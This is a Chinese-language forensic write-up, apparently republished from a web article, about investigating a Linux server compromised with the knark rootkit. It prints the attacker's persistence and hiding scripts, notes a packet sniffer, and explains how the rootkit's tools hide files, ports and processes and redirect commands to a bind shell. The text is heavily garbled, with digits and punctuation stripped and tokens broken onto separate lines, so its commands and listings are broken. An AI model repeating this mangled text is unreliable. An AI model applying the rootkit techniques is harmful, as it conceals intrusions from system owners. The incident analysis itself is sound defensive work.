一
意外
時間
下午
地點
某台RedHat Linux機器
#uname
a
Linux *
net
#
Mon Apr
:
:
EDT
i
unknown
俺習慣性地先進到/etc/rc
d/init
d
看了一下
馬上發現異狀
#ls
la
……
rwxr
xr
x
root root
Mar
netfs
rwxr
xr
x
root root
Mar
:
network
rwxr
xr
x
root root
Apr
nfs
……
二
初步檢查
明顯是個新手干的嘛
network文件被人動過了
咱們用stat命令看看先
#stat network
File:
network
Size:
Filetype: Regular File
Mode: (
/
rwxr
xr
x) Uid: (
/ root) Gid: (
/ root)
Device:
Inode:
Links:
Access: Sun Mar
:
:
(
:
:
)
Modify: Sun Mar
:
:
(
:
:
)
Change: Sun Mar
:
:
(
:
:
)
最後被人改動的時間是
月
號的凌晨
讓我們來看看他往文件裡加了什麼吧
#cat network
……
/usr/lib/libdd
so
就是這麼一句
加在文件末尾
看來的確是手段不甚高明
瞧瞧這是個什麼文件先
#file /usr/lib/libdd
so
/usr/lib/libdd
so
: ELF
bit LSB executable
Intel
version
dynamically linked (uses shared libs)
not stripped
哦
是個二進制的可執行文件
執行下strings看是否眼熟
#strings /usr/lib/libdd
so
/lib/ld
linux
so
__gmon_start__
libc
so
system
__deregister_frame_info
_IO_stdin_used
__libc_start_main
__register_frame_info
GLIBC_
PTRh
/boot/
pty
/go
sh <--------這條信息看上去比較有趣
哦,這就簡單了嘛,俺看看這裡面的路徑:
#cd /boot/.pty0
#cat go.sh
#!/bin/bash
f=`ls -al /boot | grep .pty0`
if [ -n "$f" ]; then
cd /boot/.pty0
./mcd -q
cd mech1
./mech -f conf 1>/dev/null
>/dev/null
cd
cd mech
/mech
f conf
>/dev/null
>/dev/null
cd
cd mech
/mech
f conf
>/dev/null
>/dev/null
cd
/sbin/insmod paraport
o
>/dev/null
>/dev/null
/sbin/insmod iBCS
o
>/dev/null
>/dev/null
/ascunde
sh
fi
有點暈
看不明白mcd
mech這些東西是干嘛用的
再看一下下一個腳本是什麼
#cat ascunde
sh
#!/bin/bash
for proces in `/bin/cat /boot/
pty
/hdm`; do
P=`/sbin/pidof $proces`
if [
n
$P
]; then
killall
$proces
>/dev/hdm
>/dev/hdm
fi
done
for port in `/bin/cat /boot/
pty
/hdm
`; do
/nethide `
/dec
hex $port`
>/dev/hdm
>/dev/hdm
done
for director in `/bin/cat /boot/
pty
/hdm
`; do
/hidef $director
>/dev/hdm
>/dev/hdm
done
看到這裡
事情開始有趣了
這似乎不是一個三流的scriptkiddle干的活嘛
打個包拖回來先
於是俺
#cd /boot
#ls
la
total
drwxr
xr
x
root root
Mar
:
drwxr
xr
x
root root
Mar
:
lrwxrwxrwx
root root
Sep
System
map
>System
map
rw
r
r
root root
Apr
System
map
rw
r
r
root root
Sep
boot
rw
r
r
root root
Apr
boot
b
rw
r
r
root root
Apr
chain
b
rw
root root
Sep
map
lrwxrwxrwx
root root
Sep
module
info
>module
info
rw
r
r
root root
Apr
module
info
rw
r
r
root root
Apr
os
_d
b
rwxr
xr
x
root root
Apr
vmlinux
lrwxrwxrwx
root root
Sep
vmlinuz
>vmlinuz
rw
r
r
root root
Apr
vmlinuz
咦
事情更有趣了……居然沒有看到
pty
的目錄
#cd
pty
#ls
laF
total
drwxr
xr
x
root root
Mar
:
/
rwxr
xr
x
root root
Mar
:
ascunde
sh*
rwxr
xr
x
root root
Mar
:
dec
hex*
rwxr
xr
x
root root
Mar
:
ered*
rwxr
xr
x
root root
Mar
:
go
sh*
rwxr
xr
x
root root
Mar
:
hidef*
rw
r
r
root root
Mar
:
iBCS
o
rw
r
r
root root
Mar
:
m
tgz
rwxr
xr
x
root root
Mar
:
mcd*
drwxr
xr
x
root root
Mar
:
mech
/
drwxr
xr
x
root root
Mar
:
mech
/
drwxr
xr
x
root root
Mar
:
mech
/
rwxr
xr
x
root root
Mar
:
nethide*
rw
r
r
root root
Mar
:
paraport
o
rw
r
r
root root
Mar
:
ssh_host_key
rw
root root
Mar
:
ssh_random_seed
rw
r
r
root root
Mar
:
sshd_config
看來是加載了某個lkm了
比較討厭
#/sbin/lsmod
Module Size Used by
nfsd
(autoclean)
lockd
(autoclean) [nfsd]
sunrpc
(autoclean) [nfsd lockd]
c
x
(autoclean)
這些是正常的lkm麼?前三個模塊跟rpc有關
不知開了哪些rpc服務
#/usr/sbin/rpcinfo
p localhost
program vers proto port
tcp
rpcbind
tcp
status
udp
rquotad
tcp
mountd
udp
nfs
tcp
nlockmgr
原來如此
難怪會被入侵
該開的全開了
不過也證明了nfsd
lockd
sunrpc這三個模塊沒問題了
再來看看網卡吧
c
x是網卡的驅動模塊
#/sbin/ifconfig
a
/sbin/ifconfig
a
lo Link encap:Local Loopback
inet addr:
Bcast:
Mask:
UP LOOPBACK RUNNING MTU:
Metric:
RX packets:
errors:
dropped:
overruns:
TX packets:
errors:
dropped:
overruns:
eth
Link encap:
Mbps Ethernet HWaddr
:
:
A:
:
B:
inet addr:*
*
*
* Bcast:*
*
*
Mask:
UP BROADCAST RUNNING MULTICAST MTU:
Metric:
RX packets:
errors:
dropped:
overruns:
TX packets:
errors:
dropped:
overruns:
Interrupt:
Base address:
xe
#dmesg|grep eth
eth
:
Com
c
B Cyclone
baseTx at
xe
:
:
a:
:
b:
IRQ
eth
: Setting promiscuous mode
device eth
entered promiscuous mode
看來這些模塊都是正常的
但比較狠的就是——device eth
enteredpromiscuousmode——看來這入侵者架了sniffer開聽了
但關鍵是現在這個入侵者加載了個俺看不到的家伙
有些暈了……咦
對了
看看文件名先……
三
模塊介紹
nethide?似乎有點印象……好吧
到俺的一堆破爛裡找找……咦
找到一篇knarkhacking的文章
裡面有提到nethide
先當下一個來玩玩吧
有個版本號為knark
的
是對LinuxKernel
的
行……咱們先看看這是什麼樣的內核模塊
除了taskhack
c之處
所有這些文件都是基於knark
o模塊的正確加載
hidef用來隱藏你的文件或者目錄
你可以建立一個目錄
比如/boot/
pty
然後鍵入
/hidef/boot/
pty
於是這這個目錄便被隱藏起來
並且連du之類的命令也不能找出它來
同樣的
子目錄下的任何文件也一樣地被藏得天衣無縫
ered用來重定向執行某個程序
比如說
你把一個bindsh*ll 的程序拷到/boot/
pty
/bindsh*ll
然後可以用
/ered /bin/ls/boot/
pty
/bindsh*ll 這樣的命令
將ls重定向到bindsh*ll
當然
這樣的話
ls是沒變
但已經不能正確執行了
如果要清除所有的命令重定向
可以鍵入
/ered
c nethide用來隱藏/proc/net/tcp及/proc/net/udp裡的連接進程——netstat就是從這裡面獲取信息並 輸出
From:http://tw.wingwit.com/Article/program/Oracle/201311/18350.html